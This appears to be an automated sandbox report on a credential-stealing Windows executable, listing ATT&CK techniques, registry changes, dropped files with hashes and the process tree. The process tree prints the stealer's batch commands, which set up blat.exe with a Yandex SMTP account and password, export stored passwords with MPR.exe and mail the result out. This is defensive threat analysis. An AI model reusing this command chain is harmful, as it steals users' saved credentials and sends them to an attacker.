d92cea79ef6057193ed6349af43aa25ff43b2e7340d1e3ed2aad3d8f384642b4

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
24-05-2024 11:41

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

d92cea79ef6057193ed6349af43aa25ff43b2e7340d1e3ed2aad3d8f384642b4.exe
Size

3.7MB
MD5

6de3da12ea83180aed2fa3dabc37cbe0
SHA1

c547617a266984c58743716a08f8662f3d8bb281
SHA256

d92cea79ef6057193ed6349af43aa25ff43b2e7340d1e3ed2aad3d8f384642b4
SHA512

4141a1544626bd94cd7fb153ae77420227bf14dbc369bce549dff7f021a21ccb4c2cf626fde6f5d10f87bd09e710784d6d7bcdf1df6733c31fff11a8b75f11c6
SSDEEP

49152:cYn2JVKh1VrdmC/1xpLzgYSHx4yzj8zow4ylvrFgn/y5q2DiAtGJqT5+GPd:c2FdzgYSHx4yzj8zowFdyotWAH

Score

7^/10

collection discovery spyware stealer

Malware Config

Signatures

Executes dropped EXE 3 IoCs

Processes:

blat.exeMPR.exeblat.exe

pid process

2584 blat.exe
2768 MPR.exe
2360 blat.exe
Loads dropped DLL 5 IoCs

Processes:

cmd.exe

pid process

2052 cmd.exe
2052 cmd.exe
2052 cmd.exe
2052 cmd.exe
2052 cmd.exe
Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

pid	process
2584	blat.exe
2768	MPR.exe
2360	blat.exe

pid	process
2052	cmd.exe
2052	cmd.exe
2052	cmd.exe
2052	cmd.exe
2052	cmd.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

Processes:

MPR.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	MPR.exe

Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs

collection

Email Collection

T1114

Processes:

MPR.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	MPR.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 24 IoCs

Processes:

MPR.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.mpf\MediaPackageFile\ShellNew	MPR.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.mpf\MediaPackageFile	MPR.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\mprf\EditFlags = "0"	MPR.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mprf\shell\open	MPR.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{3F2BBC05-40DF-11D2-9455-00104BC936FF}\LocalServer32	MPR.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{3F2BBC05-40DF-11D2-9455-00104BC936FF}\LocalServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\MPR.exe"	MPR.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\MPR.DocHostUIHandler	MPR.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\MPR.DocHostUIHandler\Clsid	MPR.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\MPR.DocHostUIHandler\Clsid\ = "{3F2BBC05-40DF-11D2-9455-00104BC936FF}"	MPR.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.mpf	MPR.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mprf	MPR.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mprf\shell	MPR.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mprf\shell\open\command	MPR.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\MPR.DocHostUIHandler\ = "Implements DocHostUIHandler"	MPR.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{3F2BBC05-40DF-11D2-9455-00104BC936FF}\ProgID\ = "MPR.DocHostUIHandler"	MPR.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mpf	MPR.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mpf\ = "mprf"	MPR.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\mprf\BrowserFlags = "8"	MPR.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mprf\DefaultIcon	MPR.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mprf\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\MPR.exe,0"	MPR.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mprf\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\MPR.exe \"%1\""	MPR.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{3F2BBC05-40DF-11D2-9455-00104BC936FF}	MPR.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{3F2BBC05-40DF-11D2-9455-00104BC936FF}\ProgID	MPR.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{3F2BBC05-40DF-11D2-9455-00104BC936FF}\ = "Implements DocHostUIHandler"	MPR.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

2648 PING.EXE
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

MPR.exe

pid process

2768 MPR.exe
2768 MPR.exe
2768 MPR.exe
2768 MPR.exe
Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

484
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

MPR.exe

description pid process

Token: SeDebugPrivilege 2768 MPR.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

MPR.exe

pid process

2768 MPR.exe
2768 MPR.exe

pid	process
2648	PING.EXE

pid	process
2768	MPR.exe
2768	MPR.exe
2768	MPR.exe
2768	MPR.exe

pid	process
484

description	pid	process
Token: SeDebugPrivilege	2768	MPR.exe

pid	process
2768	MPR.exe
2768	MPR.exe

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

d92cea79ef6057193ed6349af43aa25ff43b2e7340d1e3ed2aad3d8f384642b4.execmd.exe

description	pid	process	target process
PID 2792 wrote to memory of 2052	2792	d92cea79ef6057193ed6349af43aa25ff43b2e7340d1e3ed2aad3d8f384642b4.exe	cmd.exe
PID 2792 wrote to memory of 2052	2792	d92cea79ef6057193ed6349af43aa25ff43b2e7340d1e3ed2aad3d8f384642b4.exe	cmd.exe
PID 2792 wrote to memory of 2052	2792	d92cea79ef6057193ed6349af43aa25ff43b2e7340d1e3ed2aad3d8f384642b4.exe	cmd.exe
PID 2792 wrote to memory of 2052	2792	d92cea79ef6057193ed6349af43aa25ff43b2e7340d1e3ed2aad3d8f384642b4.exe	cmd.exe
PID 2052 wrote to memory of 2648	2052	cmd.exe	PING.EXE
PID 2052 wrote to memory of 2648	2052	cmd.exe	PING.EXE
PID 2052 wrote to memory of 2648	2052	cmd.exe	PING.EXE
PID 2052 wrote to memory of 2648	2052	cmd.exe	PING.EXE
PID 2052 wrote to memory of 2584	2052	cmd.exe	blat.exe
PID 2052 wrote to memory of 2584	2052	cmd.exe	blat.exe
PID 2052 wrote to memory of 2584	2052	cmd.exe	blat.exe
PID 2052 wrote to memory of 2584	2052	cmd.exe	blat.exe
PID 2052 wrote to memory of 2768	2052	cmd.exe	MPR.exe
PID 2052 wrote to memory of 2768	2052	cmd.exe	MPR.exe
PID 2052 wrote to memory of 2768	2052	cmd.exe	MPR.exe
PID 2052 wrote to memory of 2768	2052	cmd.exe	MPR.exe
PID 2052 wrote to memory of 2360	2052	cmd.exe	blat.exe
PID 2052 wrote to memory of 2360	2052	cmd.exe	blat.exe
PID 2052 wrote to memory of 2360	2052	cmd.exe	blat.exe
PID 2052 wrote to memory of 2360	2052	cmd.exe	blat.exe

outlook_win_path 1 IoCs

Processes:

MPR.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	MPR.exe

C:\Users\Admin\AppData\Local\Temp\d92cea79ef6057193ed6349af43aa25ff43b2e7340d1e3ed2aad3d8f384642b4.exe
"C:\Users\Admin\AppData\Local\Temp\d92cea79ef6057193ed6349af43aa25ff43b2e7340d1e3ed2aad3d8f384642b4.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2792

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Local\Temp\1120.tmp\1.bat" "
2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2052

C:\Windows\SysWOW64\PING.EXE
ping ya.ru -n 5
3⤵
- Runs ping.exe
PID:2648

C:\Users\Admin\AppData\Local\Temp\blat.exe
blat.exe -install -server smtp.yandex.ru -port 587 -f [email protected] -u ya.eliteden -pw Elite92
3⤵
- Executes dropped EXE
PID:2584

C:\Users\Admin\AppData\Local\Temp\MPR.exe
mpr.exe /export
3⤵
- Executes dropped EXE
- Accesses Microsoft Outlook accounts
- Accesses Microsoft Outlook profiles
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- outlook_win_path
PID:2768

C:\Users\Admin\AppData\Local\Temp\blat.exe
blat.exe -body PassReg -to [email protected] -attach pass.mpf
3⤵
- Executes dropped EXE
PID:2360

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Credentials in Registry

T1552.002

Discovery

Query Registry

T1012

System Information Discovery

T1082

Remote System Discovery

T1018

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\1120.tmp\1.bat
Filesize
350B

MD5
b6699b0bcec646342b9475a16d0c0074

SHA1
88de4575051a8fb439160f312d40e7c4674723d0

SHA256
25caa4f7a0fe443f60d0dc018c696ba372237bd06045ad8522ee79ce1a38f8ec

SHA512
876fee140184ca6d6c7c4b14a6be76b898ccbe2bd9568dddd7fa1f0dd4da029efd20c709a613a44e4c716f9cd5b70b2ccdd45ee5d18af0e9383cc0a01a3aca72

Download Submit
C:\Users\Admin\AppData\Local\Temp\HookLib.dll
Filesize
42KB

MD5
9b2e0db7547afab728ec31b7288705d6

SHA1
cedd09c5fda6c9445d191f97034e23e960361074

SHA256
ff44a0fe9d27fc3c1f455b2b9e989235ea55be4b95ed569be4b15129e624214b

SHA512
1c4c5eb672541a0fd39ed1174bdd3533e136233bd904c2e8bc7ffcab4f3e9835cbc357a66c6704619795ce983ce57a6a8a206aa922addfcc771dd14c277cdf33

Download Submit
C:\Users\Admin\AppData\Local\Temp\SAV_QGTQZTRE_5.24.2024_11-44-04_AM.mpf
Filesize
19KB

MD5
e2faf4609d023e1fee715040f611d4b5

SHA1
d0f579078ea3a2f83454cb322aee1944e60f3095

SHA256
771aa308a0a67a35c0bd2fbeebb21fd4f10167b5e3e2f01defecae9ba95d7d01

SHA512
472b3bcd89bb19ae0dfc1db731fc0a354335dac7b804b61115401a68b87e617d59f6511842375c62edd8e2c42a9040786193fa9ce138a38fc2ac9bfed1860de4

Download Submit
C:\Users\Admin\AppData\Local\Temp\blat.dll
Filesize
120KB

MD5
724cae63522f6e5f7565a3bf4b2a719b

SHA1
18620dbd4357d85918070f669ff4b61755290757

SHA256
b87814eaf1cd5268e797f1119b58e3fd79381af3f530be9a90993198cbce1779

SHA512
af68749cadf9920a8bed455a2557b1faf475d30fdd62f45da6757fbc5a59341fffeccca4ff646b334da95cf673deeeea74bdbb27a16f510a4e3309055f89817d

Download Submit
C:\Users\Admin\AppData\Local\Temp\blat.lib
Filesize
2KB

MD5
3cd3cffda2b5108e2778f94429c624d6

SHA1
3e4d218d1b8eb4fa1ab5152b126951892aff3dc9

SHA256
b545194041588fc0a6f57e7eb5a93d2418aaa263d246e3c696a79ee5859770ff

SHA512
c80080afcc982c4e950876756fb32c7f24fbe45bfbbe78afe144be1ede86dc9ef1e57db95d3df7f4c6011fd226f23684b929781b55d1be659cfa75d14f8d0c79

Download Submit
C:\Users\Admin\AppData\Local\Temp\block_reader.sys
Filesize
1KB

MD5
b5a0cfd3e6cb42a29255faa1546f420c

SHA1
c55cb0f7b5a04231607498b83629e70105113ee3

SHA256
a2d200514887c6f05c9e6150b57cf4541c4923b857cf15723454885b9353dff0

SHA512
274a7371f1d75803926380fd10c60c9aa1bb1088594e3e0be5db255bb9f31ae178e8f79ba4b2deb49c24289dea5b17d1244c873e038d0a94159252ab62f4342e

Download Submit
C:\Users\Admin\AppData\Local\Temp\mpr.ini
Filesize
341B

MD5
41e2bfc402a656090f4b558951604e5c

SHA1
d75376b211652d3d82edcd16dd12fdadcc6ec5f6

SHA256
86eef7f8560accf5640db6b06fc0ba2cbe71c0f149cfefdd5f08448f08fd3d64

SHA512
bd9b93d5ab8ad7bc7f434cfb1726664d599185b018098b56711017b62f3b0e26630ffa2cf7c9082e0c2b5657cc4d086ffda8ecb7f0dd49e97648777e62d40b14

Download Submit
\Users\Admin\AppData\Local\Temp\MPR.exe
Filesize
3.3MB

MD5
8dba37604bf06ebcef07dd1085865a6a

SHA1
1202eb0ea461c502daa7da9d7d75fff226bf57bd

SHA256
038ab25642a1220c27028d0b559062b43764c66541ec07a96b2a99d25d9638b0

SHA512
0f286677e964d733ea3270f0f196769d8ddddb4a6bb3007187eae56e9abb5e22ee984703df5356b5d9049e5ad3b24c567ae13773684113a4440b2cce5d0132fa

Download Submit
\Users\Admin\AppData\Local\Temp\blat.exe
Filesize
112KB

MD5
31f84e433e8d1865e322998a41e6d90e

SHA1
cbea6cda10db869636f57b1cffad39b22e6f7f17

SHA256
aeca4a77d617da84296b5f857b2821333fe4b9663e8df74ef5a25a7882693e5e

SHA512
7ae504723b5b140e45af3163d1bfdc5ee0497debafba07cfbf1d2c15147c000be53f4ac8d36d926ed11cf0bb62e9e72f9bcf5d4caf92aa732d942f55834e2be9

Download Submit
memory/2768-36-0x0000000000340000-0x0000000000341000-memory.dmp

Filesize
4KB

Download
memory/2768-52-0x0000000000500000-0x000000000084A000-memory.dmp

Filesize
3.3MB

Download